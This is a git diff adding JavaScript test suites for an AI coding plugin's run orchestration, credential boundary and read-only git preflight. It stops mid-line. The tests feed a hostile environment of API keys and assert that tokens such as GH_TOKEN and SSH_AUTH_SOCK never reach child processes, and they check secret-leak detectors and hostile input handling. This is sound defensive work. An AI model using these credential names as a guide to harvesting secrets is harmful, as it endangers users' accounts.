assert.equal(Object.hasOwn(local.env, 'CURSOR_API_KEY'), false); + assert.equal(cloud.env.CURSOR_API_KEY, HOSTILE_ENV.CURSOR_API_KEY); + assert.equal(muse.env.MODEL_API_KEY, HOSTILE_ENV.MODEL_API_KEY); + assert.equal(Object.hasOwn(muse.env, 'OPENROUTER_API_KEY'), false); + assert.equal(ox.env.OPENROUTER_API_KEY, HOSTILE_ENV.OPENROUTER_API_KEY); + assert.equal(Object.hasOwn(ox.env, 'MODEL_API_KEY'), false); + for (const call of dispatcher.calls) { + assert.equal(inspectArgvForSecrets(call.argv, SECRETS), false); + assert.equal(call.env.GIT_TERMINAL_PROMPT, '0'); + assert.equal(Object.hasOwn(call.env, 'GH_TOKEN'), false); + assert.equal(Object.hasOwn(call.env, 'SSH_AUTH_SOCK'), false); + assert.equal(Object.hasOwn(call.env, 'NODE_OPTIONS'), false); + assert.equal(Object.hasOwn(call.env, 'WORKTREE_BOOTSTRAP_TASK'), false); + } + assert.equal(inspectEnvForSecrets(grok.env, [ + HOSTILE_ENV.MODEL_API_KEY, HOSTILE_ENV.OPENROUTER_API_KEY, HOSTILE_ENV.CURSOR_API_KEY, + ]), false); + assert.deepEqual(await snapshotState(repo.root), before); + assert.equal(receiptContainsSecret(receipt, SECRETS), false); + await cancelRunDispatchV1(receipt); + } finally { + await repo.cleanup(); + } +}); + +test('cancel, terminal, and restart clean credential handoffs and stop children', async () => { + const repo = await createLinearRepo('p31-cleanup-'); + const dispatcher = createRecordingDispatcher(); + try { + const manifest = twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-cleanup', + }); + const receipt = await orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: dispatcher.dispatch }, + ); + const identities = receipt.lanes.map((lane) => lane.identity); + for (const identity of identities) { + const metadata = await lstat(handoffPathFromProcessIdentity(identity)); + assert.equal(metadata.isFile(), true); + } + const cancelled = await cancelRunDispatchV1(receipt); + assert.equal(cancelled.status, 'cancelled'); + assert.equal(cancelled.cleaned, true); + assert.equal(cancelled.missing, false); + assert.deepEqual([...cancelled.unresolved], []); + assert.deepEqual(dispatcher.stopped, identities); + for (const identity of identities) { + await expectMissing(handoffPathFromProcessIdentity(identity)); + } + + const restartDispatcher = createRecordingDispatcher(); + const again = await orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: restartDispatcher.dispatch }, + ); + const restarted = await restartRunDispatchV1(again, { dispatch: restartDispatcher.dispatch }); + assert.equal(restarted.status, 'dispatched'); + assert.equal(restarted.restarted, true); + assert.equal(restarted.cleaned, false); + assert.deepEqual([...restarted.unresolved], []); + assert.equal(restartDispatcher.stopped.length, identities.length); + for (const identity of again.lanes.map((lane) => lane.identity)) { + const metadata = await lstat(handoffPathFromProcessIdentity(identity)); + assert.equal(metadata.isFile(), true); + } + const terminal = await completeRunDispatchV1(again); + assert.equal(terminal.status, 'terminal'); + assert.equal(terminal.cleaned, true); + assert.deepEqual([...terminal.unresolved], []); + for (const identity of again.lanes.map((lane) => lane.identity)) { + await expectMissing(handoffPathFromProcessIdentity(identity)); + } + } finally { + await repo.cleanup(); + } +}); + +test('dispatch failure cleans any created handoff and does not leave a workspace', async () => { + const repo = await createLinearRepo('p31-fail-'); + try { + const before = await snapshotState(repo.root); + const identities = []; + const dispatch = async (plan) => { + identities.push(plan.identity); + throw new Error('injected dispatcher failure'); + }; + await assert.rejects( + () => orchestrateRunDispatchV1( + { + manifest: twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-fail', + }), + intent: 'dispatch', + }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch }, + ), + (error) => error instanceof RunContractV1Error && error.code === 'orchestration_dispatch_failed', + ); + assert.deepEqual(await snapshotState(repo.root), before); + for (const identity of identities) { + await expectMissing(handoffPathFromProcessIdentity(identity)); + } + } finally { + await repo.cleanup(); + } +}); + +test('concurrent identical run_id and assignment_id keep distinct handoff identities', async () => { + const repo = await createLinearRepo('p31-collide-'); + const firstDispatcher = createRecordingDispatcher(); + const secondDispatcher = createRecordingDispatcher(); + try { + const manifest = twoLaneOrchestrationManifest({ + repositoryPath: repo.root, baseSha: repo.baseSha, runId: 'orchestration-collide', + }); + const [first, second] = await Promise.all([ + orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: firstDispatcher.dispatch }, + ), + orchestrateRunDispatchV1( + { manifest, intent: 'dispatch' }, + { host: SUFFICIENT_HOST, env: HOSTILE_ENV, dispatch: secondDispatcher.dispatch }, + ), + ]); + const firstIdentities = first.lanes.map((lane) => lane.identity); + const secondIdentities = second.lanes.map((lane) => lane.identity); + assert.equal(new Set([...firstIdentities, ...secondIdentities]).size, 4); + for (const identity of [...firstIdentities, ...secondIdentities]) { + const metadata = await lstat(handoffPathFromProcessIdentity(identity)); + assert.equal(metadata.isFile(), true); + } + const cancelled = await cancelRunDispatchV1(first); + assert.equal(cancelled.cleaned, true); + for (const identity of firstIdentities) { + await expectMissing(handoffPathFromProcessIdentity(identity)); + } + for (const identity of secondIdentities) { + const metadata = await lstat(handoffPathFromProcessIdentity(identity)); + assert.equal(metadata.isFile(), true); + } + await cancelRunDispatchV1(second); + } finally { + await repo.cleanup(); + } +}); + +test('worker remote mutation stays denied at the orchestration boundary', () => { + for (const operation of DENIED_OPERATIONS) { + try { + denyRunRemoteMutationV1(operation); + assert.fail(`expected denial for ${operation}`); + } catch (error) { + assert.ok(error instanceof CredentialBoundaryError); + assert.equal(error.code, 'remote_mutation_denied'); + assert.equal(error.message.includes(operation), false); + } + } + assert.equal(denyRunRemoteMutationV1('read_only_inspect'), 'read_only_inspect'); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-preflight-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-preflight-adversarial.test.mjs new file mode 100644 index 0000000..9fec508 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-preflight-adversarial.test.mjs @@ -0,0 +1,329 @@ +// P26 run preflight — adversarial coverage: hostile callers (Proxies, +// accessors, symbols, non-enumerables, aliases, exotic prototypes), hostile +// seams (spawn handles, injected host facts), and the closed read-only git +// observation posture. Every failure must be a bounded content-free typed +// error raised without any launch-shaped action. + +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { EventEmitter } from 'node:events'; +import { spawn as nodeSpawn } from 'node:child_process'; + +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, +} from '../mcp/v3/git-identity.mjs'; +import { + RUN_PREFLIGHT_READONLY_GIT_COMMANDS, + validateRunPreflightV1, +} from '../mcp/v3/run-preflight.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + createLinearRepo, + hostFacts, + twoLaneManifest, +} from './fixtures/r1-run-preflight-fixtures.mjs'; + +const SUFFICIENT_HOST = hostFacts(); +const ISOLATION_PREFIX = [ + '--no-replace-objects', + '--no-optional-locks', + '--literal-pathspecs', +]; + +async function expectCode(promise, code) { + try { + await promise; + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected typed error, got ${error}`); + assert.equal(error.code, code, error.message); + assert.ok(Buffer.byteLength(error.message, 'utf8') <= 200); + return error; + } + throw new Error(`expected failure with code ${code}`); +} + +test('manifest Proxies are denied before any observation runs', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + let spawned = false; + await expectCode( + validateRunPreflightV1( + { manifest: new Proxy(manifest, {}) }, + { host: SUFFICIENT_HOST, spawn: () => { spawned = true; } }, + ), + 'proxy_denied', + ); + assert.equal(spawned, false); + } finally { + await repo.cleanup(); + } +}); + +test('symbol-keyed requests are denied without running getters', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const getter = () => { throw new Error('getter must never run'); }; + const request = { manifest }; + Object.defineProperty(request, Symbol('poison'), { get: getter, enumerable: true }); + await expectCode(validateRunPreflightV1(request, { host: SUFFICIENT_HOST }), 'symbol_key_denied'); + } finally { + await repo.cleanup(); + } +}); + +test('non-enumerable manifest decorations fail closed', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + Object.defineProperty(manifest, 'hidden', { + value: { poison: true }, + enumerable: false, + writable: true, + configurable: true, + }); + await expectCode( + validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST }), + 'non_enumerable_property_denied', + ); + } finally { + await repo.cleanup(); + } +}); + +test('null-prototype manifests keep their accepted P02 semantics', async () => { + const repo = await createLinearRepo(); + try { + const manifest = Object.create(null); + Object.assign(manifest, twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha })); + const receipt = await validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST }); + assert.equal(receipt.status, 'ready'); + assert.equal(receipt.repository.path, repo.root); + } finally { + await repo.cleanup(); + } +}); + +test('aliased subtrees inside one request are denied', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const shared = { note: 'shared' }; + manifest.alpha_note = shared; + manifest.beta_note = shared; + const error = await expectCode( + validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST }), + 'aliased_reference_denied', + ); + void error; + } finally { + await repo.cleanup(); + } +}); + +test('undefined members are denied like ordinary JSON violations', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + manifest.extra = undefined; + await expectCode( + validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST }), + 'own_undefined_denied', + ); + } finally { + await repo.cleanup(); + } +}); + +test('unknown manifest keys keep the accepted upstream denial', async () => { + const repo = await createLinearRepo(); + try { + const foreign = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + foreign.totally_unknown = true; + await expectCode( + validateRunPreflightV1({ manifest: foreign }, { host: SUFFICIENT_HOST }), + 'unknown_key', + ); + } finally { + await repo.cleanup(); + } +}); + +test('the request key set is closed and the manifest is required', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + await expectCode( + validateRunPreflightV1({ manifest, extra: true }, { host: SUFFICIENT_HOST }), + 'invalid_format', + ); + await expectCode(validateRunPreflightV1({}, { host: SUFFICIENT_HOST }), 'missing_key'); + } finally { + await repo.cleanup(); + } +}); + +test('hostile injected host facts fail closed', async () => { + const repo = await createLinearRepo(); + try { + const base = { repositoryPath: repo.root, baseSha: repo.baseSha }; + const cases = [ + ['negative', hostFacts({ cpu_parallelism: -1 }), 'host_facts_invalid'], + ['fractional', hostFacts({ available_ram_bytes: 1.5 }), 'host_facts_invalid'], + ['string', hostFacts({ total_ram_bytes: 'big' }), 'host_facts_invalid'], + ['unsafe', hostFacts({ available_ram_bytes: Number.MAX_SAFE_INTEGER + 1 }), 'host_facts_invalid'], + ['NaN', hostFacts({ cpu_parallelism: Number.NaN }), 'invalid_json_value'], + ]; + for (const [label, facts, code] of cases) { + const error = await expectCode( + validateRunPreflightV1({ manifest: twoLaneManifest(base) }, { host: facts }), + code, + ); + if (code === 'host_facts_invalid') { + assert.match(error.path, /^options\.host\./u, label); + } + } + await expectCode( + validateRunPreflightV1( + { manifest: twoLaneManifest(base) }, + { host: hostFacts({ unexpected: 1 }) }, + ), + 'invalid_format', + ); + await expectCode( + validateRunPreflightV1({ manifest: twoLaneManifest(base) }, { host: new Proxy(hostFacts(), {}) }), + 'proxy_denied', + ); + } finally { + await repo.cleanup(); + } +}); + +test('hostile spawn seams fail closed before any observation runs', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + await expectCode( + validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST, spawn: 'not-a-function' }), + 'invalid_type', + ); + await expectCode( + validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST, spawn: new Proxy(() => {}, {}) }), + 'proxy_denied', + ); + } finally { + await repo.cleanup(); + } +}); + +test('a throwing injected spawn becomes one bounded infrastructure failure', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const error = await expectCode( + validateRunPreflightV1( + { manifest }, + { host: SUFFICIENT_HOST, spawn: () => { throw new Error('explosive'); } }, + ), + 'observation_failed', + ); + assert.doesNotMatch(error.message, /explosive/u); + } finally { + await repo.cleanup(); + } +}); + +function fakeGitChild(script) { + const child = new EventEmitter(); + child.stdout = new EventEmitter(); + child.stderr = new EventEmitter(); + child.killedWith = null; + child.kill = (signal) => { + child.killedWith = signal; + return true; + }; + queueMicrotask(() => script(child)); + return child; +} + +test('oversized observation output hits the bound and kills the child', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const spawned = []; + const error = await expectCode( + validateRunPreflightV1({ manifest }, { + host: SUFFICIENT_HOST, + spawn(file, args) { + spawned.push(args); + if (args.includes('rev-parse')) { + return fakeGitChild((child) => { + child.stdout.emit('data', Buffer.alloc(8192, 0x61)); + child.emit('close', 0, null); + }); + } + throw new Error('should not be reached'); + }, + }), + 'bounds_exceeded', + ); + assert.doesNotMatch(error.message, /616161/u); + assert.equal(spawned.length, 1); + } finally { + await repo.cleanup(); + } +}); + +test('an erroring child process maps to one bounded infrastructure failure', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + await expectCode( + validateRunPreflightV1({ manifest }, { + host: SUFFICIENT_HOST, + spawn() { + return fakeGitChild((child) => { + child.emit('error', new Error('spawn boom')); + }); + }, + }), + 'observation_failed', + ); + } finally { + await repo.cleanup(); + } +}); + +test('every real observation keeps the closed argv, env, and cwd posture', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const records = []; + const receipt = await validateRunPreflightV1({ manifest }, { + host: SUFFICIENT_HOST, + spawn(file, args, options) { + records.push({ file, args, options }); + return nodeSpawn(file, args, options); + }, + }); + assert.equal(receipt.status, 'ready'); + assert.ok(records.length >= 3); + for (const record of records) { + assert.equal(record.file, GIT_EXECUTABLE); + assert.deepEqual(record.options.env, GIT_CLOSED_ENV); + assert.equal(Object.isFrozen(record.options.env), true); + assert.equal(record.options.cwd, '/'); + assert.deepEqual(record.args.slice(0, 3), ISOLATION_PREFIX); + const dashC = record.args.indexOf('-C'); + assert.ok(dashC > 3, record.args.join(' ')); + assert.ok( + RUN_PREFLIGHT_READONLY_GIT_COMMANDS.includes(record.args[dashC + 2]), + record.args.join(' '), + ); + } + } finally { + await repo.cleanup(); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-run-preflight-side-effect.test.mjs b/plugins/codex-co-engineer/test/r1-run-preflight-side-effect.test.mjs new file mode 100644 index 0000000..ce2f6a0 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-preflight-side-effect.test.mjs @@ -0,0 +1,205 @@ +// P26 run preflight — side-effect proofs. For every failure mode AND the +// success path, the observed world must come back byte-identical: the same +// files with the same bytes, the same refs, and nothing else. A failed +// preflight leaves no workspace, no branch or ref, no dispatch artifact, +// no lock file, no reservation — because the boundary never writes and its +// only spawns are read-only observations. + +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { createHash } from 'node:crypto'; +import { readdir, readFile, lstat } from 'node:fs/promises'; +import path from 'node:path'; + +import { GIT_CLOSED_ENV } from '../mcp/v3/git-identity.mjs'; +import { + RUN_PREFLIGHT_READONLY_GIT_COMMANDS, + validateRunPreflightV1, +} from '../mcp/v3/run-preflight.mjs'; + +const CLOSED_ENV_KEYS = Object.keys(GIT_CLOSED_ENV).sort(); +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + createBareRepo, + createLinearRepo, + createSymlinkAliasRepo, + createRecordingSpawn, + hostFacts, + laneManifestsForCount, + runFixtureGitIn, + twoLaneManifest, + writerLane, + preflightManifest, +} from './fixtures/r1-run-preflight-fixtures.mjs'; + +const SUFFICIENT_HOST = hostFacts(); + +async function snapshotState(root) { + const entries = []; + async function walk(relative) { + const absolute = path.join(root, relative); + const metadata = await lstat(absolute); + if (metadata.isDirectory()) { + entries.push({ p: relative, t: 'dir', m: metadata.mode }); + const children = await readdir(absolute); + children.sort(); + for (const child of children) { + await walk(path.join(relative, child)); + } + return; + } + if (metadata.isSymbolicLink()) { + entries.push({ p: relative, t: 'link', m: metadata.mode }); + return; + } + const digest = createHash('sha256'); + if (metadata.size <= 1024 * 1024) { + digest.update(await readFile(absolute)); + } else { + digest.update(String(metadata.size)); + } + entries.push({ p: relative, t: 'file', m: metadata.mode, s: metadata.size, h: digest.digest('hex') }); + } + await walk(''); + // refs/stash is included by for-each-ref, so no separate stash query. + const refs = await runFixtureGitIn(root, ['for-each-ref', '--format=%(refname) %(objectname)']); + return { entries, refs }; +} + +function failureBattery(repo) { + return [ + ['invalid envelope', twoLaneManifest({ + repositoryPath: repo.root, + baseSha: repo.baseSha, + }), (manifest) => { manifest.schema = 'not-the-run-schema'; }, 'invalid_format'], + ['nine children exceed the maximum', laneManifestsForCount(9, { + repositoryPath: repo.root, + baseSha: repo.baseSha, + }), null, 'preflight_child_count_exceeded'], + ['overlapping writer scopes', preflightManifest([ + writerLane('lane-overlap-a', ['src/shared/**']), + writerLane('lane-overlap-b', ['src/shared/nested/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }), null, 'overlapping_writer_scope'], + ['cpu capacity denial', twoLaneManifest({ + repositoryPath: repo.root, + baseSha: repo.baseSha, + }), null, 'host_cpu_capacity_exceeded', { host: hostFacts({ cpu_parallelism: 0 }) }], + ['ram capacity denial', twoLaneManifest({ + repositoryPath: repo.root, + baseSha: repo.baseSha, + }), null, 'host_ram_capacity_exceeded', + { host: hostFacts({ available_ram_bytes: 1 }) }], + ['missing repository', twoLaneManifest({ + repositoryPath: '/definitely/not/present/repository', + baseSha: repo.baseSha, + }), null, 'repository_missing'], + ['absent base commit', twoLaneManifest({ + repositoryPath: repo.root, + baseSha: '0123456789abcdef0123456789abcdef01234567', + }), null, 'base_identity_invalid'], + ]; +} + +test('every failed preflight leaves the repository world byte-identical', async () => { + const repo = await createLinearRepo(); + try { + const before = await snapshotState(repo.root); + const recording = createRecordingSpawn(); + for (const [label, manifest, mutate, expectedCode, optionsOverride] of failureBattery(repo)) { + if (mutate) mutate(manifest); + const options = { host: SUFFICIENT_HOST, spawn: recording.spawn, ...optionsOverride }; + let threw = false; + try { + await validateRunPreflightV1({ manifest }, options); + } catch (error) { + threw = true; + assert.ok(error instanceof RunContractV1Error, `${label}: ${error}`); + assert.equal(error.code, expectedCode, label); + } + assert.equal(threw, true, `${label} should have failed`); + const after = await snapshotState(repo.root); + assert.deepEqual(after, before, `world changed after: ${label}`); + } + // Only read-only observation commands ever ran across the whole battery. + assert.ok(recording.records.length >= 2); + for (const record of recording.records) { + const commandIndex = record.args.indexOf('-C'); + assert.ok(commandIndex >= 0, record.args.join(' ')); + assert.ok( + RUN_PREFLIGHT_READONLY_GIT_COMMANDS.includes(record.args[commandIndex + 2]), + record.args.join(' '), + ); + assert.deepEqual(record.envKeys, CLOSED_ENV_KEYS); + } + } finally { + await repo.cleanup(); + } +}); + +const GIT_CLOSED_ENV_SORTED = { + LANG: 'C', + LC_ALL: 'C', + PATH: '/usr/bin:/bin', + TZ: 'UTC', + GIT_ASKPASS: '', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_ALLOW_PROTOCOL: '', + GIT_OPTIONAL_LOCKS: '0', + GIT_PAGER: 'cat', + GIT_PROTOCOL_FROM_USER: '0', + GIT_TERMINAL_PROMPT: '0', +}; + +test('a passing preflight launches nothing either', async () => { + const repo = await createLinearRepo(); + try { + const before = await snapshotState(repo.root); + const recording = createRecordingSpawn(); + const receipt = await validateRunPreflightV1( + { manifest: twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }) }, + { host: SUFFICIENT_HOST, spawn: recording.spawn }, + ); + assert.equal(receipt.status, 'ready'); + for (const claim of Object.keys(receipt.side_effects)) { + assert.equal(receipt.side_effects[claim], false); + } + const after = await snapshotState(repo.root); + assert.deepEqual(after, before, 'world changed after a successful preflight'); + } finally { + await repo.cleanup(); + } +}); + +test('failed preflights leave bare repositories and aliases untouched too', async () => { + const bare = await createBareRepo(); + try { + const before = await snapshotState(bare.root); + const error = await validateRunPreflightV1({ + manifest: twoLaneManifest({ + repositoryPath: bare.root, + baseSha: '0123456789abcdef0123456789abcdef01234567', + }), + }, { host: SUFFICIENT_HOST }).then(() => null).catch((caught) => caught); + assert.ok(['repository_not_canonical'].includes(error.code), error.code); + assert.deepEqual(await snapshotState(bare.root), before); + } finally { + await bare.cleanup(); + } + + const aliased = await createSymlinkAliasRepo(); + try { + const before = await snapshotState(aliased.root); + const error = await validateRunPreflightV1({ + manifest: twoLaneManifest({ + repositoryPath: `${aliased.root}-alias`, + baseSha: aliased.baseSha, + }), + }, { host: SUFFICIENT_HOST }).then(() => null).catch((caught) => caught); + assert.equal(error.code, 'repository_not_canonical'); + assert.deepEqual(await snapshotState(aliased.root), before); + } finally { + await aliased.cleanup(); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs b/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs new file mode 100644 index 0000000..a7476da --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs @@ -0,0 +1,601 @@ +// P26 run preflight — focused coverage of the launch-side validation gate: +// exact canonical repository/base identity, detached/canonical hostile +// inputs, composition with the accepted run contract, receipt freezing, +// and P03/P24-compatible GitIdentityV1 binding. Capacity and side-effect +// proofs live in their own suites. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { buildGitIdentityV1 } from '../mcp/v3/protected-identity.mjs'; +import { + PREFLIGHT_MAX_CHILDREN, + PREFLIGHT_MIN_CHILDREN, + PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD, + RUN_PREFLIGHT_CHECKS, + RUN_PREFLIGHT_ERROR_CODES, + RUN_PREFLIGHT_SCHEMA_ID, + RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + describeRunPreflightV1, + validateRunPreflightV1, +} from '../mcp/v3/run-preflight.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { validateGitIdentityV1 } from '../mcp/v3/protected-identity.mjs'; +import { + ASSIGNMENT_ID_A, + ASSIGNMENT_ID_B, + createBareRepo, + createDetachedHeadRepo, + createEmptyDirectory, + createLinearRepo, + createLinkedWorktreeRepo, + createReplaceRefRepo, + createSymlinkAliasRepo, + createSymlinkedGitDirRepo, + createTagObjectRepo, + forgeGitDirFileRepo, + hostFacts, + laneManifestsForCount, + preflightManifest, + twoLaneManifest, + writerLane, +} from './fixtures/r1-run-preflight-fixtures.mjs'; + +const SUFFICIENT_HOST = hostFacts(); + +async function preflightOk(manifest, options = {}) { + return validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST, ...options }); +} + +async function preflightError(manifest, options = {}) { + try { + await preflightOk(manifest, options); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + } + throw new Error('expected the preflight to fail'); +} + +test('describeRunPreflightV1 is deterministic, frozen, and quotes owned bounds', () => { + const first = describeRunPreflightV1(); + const second = describeRunPreflightV1(); + assert.deepStrictEqual(JSON.parse(JSON.stringify(first)), JSON.parse(JSON.stringify(second))); + assert.equal(first.schema, RUN_PREFLIGHT_SCHEMA_ID); + assert.equal(first.rule, 'validate_only_no_launch_side_effect'); + assert.equal(first.min_children, PREFLIGHT_MIN_CHILDREN); + assert.equal(first.max_children, PREFLIGHT_MAX_CHILDREN); + assert.equal(PREFLIGHT_MAX_CHILDREN, 8); + assert.equal(PREFLIGHT_MIN_CHILDREN, 1); + assert.equal(typeof PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD, 'number'); + assert.ok(Object.isFrozen(first)); + assert.ok(Object.isFrozen(second)); +}); + +test('a passing preflight returns a frozen ready receipt over observed repository facts', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest); + assert.equal(receipt.schema, RUN_PREFLIGHT_SCHEMA_ID); + assert.equal(receipt.version, 1); + assert.equal(receipt.status, 'ready'); + assert.equal(receipt.run_id, manifest.run_id); + assert.deepEqual([...receipt.checks], [...RUN_PREFLIGHT_CHECKS]); + assert.equal(receipt.children.count, 2); + assert.equal(receipt.children.concurrency, manifest.policy.max_concurrency); + assert.equal(receipt.repository.path, repo.root); + assert.equal(receipt.repository.base_sha, repo.baseSha); + assert.equal(receipt.repository.object_type, 'commit'); + assert.equal(receipt.repository.git_dir, `${repo.root}/.git`); + for (const claim of RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS) { + assert.equal(receipt.side_effects[claim], false); + } + assert.ok(Object.isFrozen(receipt)); + assert.ok(Object.isFrozen(receipt.children)); + assert.ok(Object.isFrozen(receipt.capacity)); + assert.ok(Object.isFrozen(receipt.repository)); + assert.ok(Object.isFrozen(receipt.side_effects)); + } finally { + await repo.cleanup(); + } +}); + +test('the receipt binds a P03 GitIdentityV1 that P24 surfaces accept unchanged', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest); + const expected = buildGitIdentityV1({ + repository_path: repo.root, + base_sha: repo.baseSha, + }); + assert.equal(receipt.git_identity.digest, expected.digest); + assert.equal(receipt.git_identity.schema, expected.schema); + assert.equal(validateGitIdentityV1(receipt.git_identity).digest, expected.digest); + } finally { + await repo.cleanup(); + } +}); + +test('ambient host facts are read when none are injected', async () => { + const repo = await createLinearRepo(); + try { + const manifest = preflightManifest([writerLane(ASSIGNMENT_ID_A, ['src/alpha/**'])], { + repositoryPath: repo.root, + baseSha: repo.baseSha, + policy: { max_concurrency: 1 }, + }); + const receipt = await validateRunPreflightV1({ manifest }); + assert.equal(receipt.capacity.source, 'ambient'); + assert.ok(Number.isSafeInteger(receipt.capacity.cpu_parallelism)); + assert.ok(Number.isSafeInteger(receipt.capacity.total_ram_bytes)); + assert.ok(Number.isSafeInteger(receipt.capacity.available_ram_bytes)); + } finally { + await repo.cleanup(); + } +}); + +test('injected host facts are reported as injected', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest, { host: hostFacts({ total_ram_bytes: 12_345_678_901 }) }); + assert.equal(receipt.capacity.source, 'injected'); + assert.equal(receipt.capacity.cpu_parallelism, 8); + assert.equal(receipt.capacity.total_ram_bytes, 12_345_678_901); + } finally { + await repo.cleanup(); + } +}); + +test('the base SHA must exist as exactly one commit object', async () => { + const repo = await createLinearRepo(); + try { + const missing = '0123456789abcdef0123456789abcdef01234567'; + const error = await preflightError( + twoLaneManifest({ repositoryPath: repo.root, baseSha: missing }), + ); + assert.equal(error.code, 'base_identity_invalid'); + assert.equal(error.path, 'repository.base_sha'); + } finally { + await repo.cleanup(); + } +}); + +test('tag, tree, and blob objects are denied as the immutable base', async () => { + const repo = await createTagObjectRepo(); + try { + for (const [label, sha] of [ + ['annotated tag object', repo.tagSha], + ['tree object', repo.treeSha], + ['blob object', repo.blobSha], + ]) { + const error = await preflightError( + twoLaneManifest({ repositoryPath: repo.root, baseSha: sha }), + ); + assert.equal(error.code, 'base_identity_invalid', label); + } + } finally { + await repo.cleanup(); + } +}); + +test('symbolic or non-canonical base spellings never reach git', async () => { + const repo = await createLinearRepo(); + try { + const spellings = [ + 'HEAD', + '@', + 'main', + 'refs/heads/main', + repo.baseSha.slice(0, 12), + repo.baseSha.toUpperCase(), + `${repo.baseSha}^{commit}`, + `:${repo.baseSha}`, + 'g'.repeat(40), + '0123456789ABCDEF0123456789abcdef01234567', + 'e'.repeat(64), + '', + ]; + let observedSpawns = 0; + for (const spelling of spellings) { + const error = await preflightError( + twoLaneManifest({ repositoryPath: repo.root, baseSha: spelling }), + { spawn: () => { + observedSpawns += 1; + throw new Error('no git observation may run for a hostile base spelling'); + } }, + ); + assert.equal(error.code, 'invalid_format', spelling); + assert.match(error.message, /base_sha/u); + } + assert.equal(observedSpawns, 0); + } finally { + await repo.cleanup(); + } +}); + +test('a detached HEAD worktree still passes when the base is an exact commit', async () => { + const repo = await createDetachedHeadRepo(); + try { + const receipt = await preflightOk( + twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }), + ); + assert.equal(receipt.status, 'ready'); + assert.equal(receipt.repository.object_type, 'commit'); + } finally { + await repo.cleanup(); + } +}); + +test('a linked worktree root is a trusted layout for its own objects', async () => { + const repo = await createLinkedWorktreeRepo(); + try { + const linked = await import('node:fs/promises').then((fs) => fs.readFile(`${repo.worktreePath}/.git`, 'utf8')); + assert.match(linked, /^gitdir: /u); + const receipt = await preflightOk( + twoLaneManifest({ repositoryPath: repo.worktreePath, baseSha: repo.headSha }), + ); + assert.equal(receipt.status, 'ready'); + assert.notEqual(receipt.repository.git_dir, 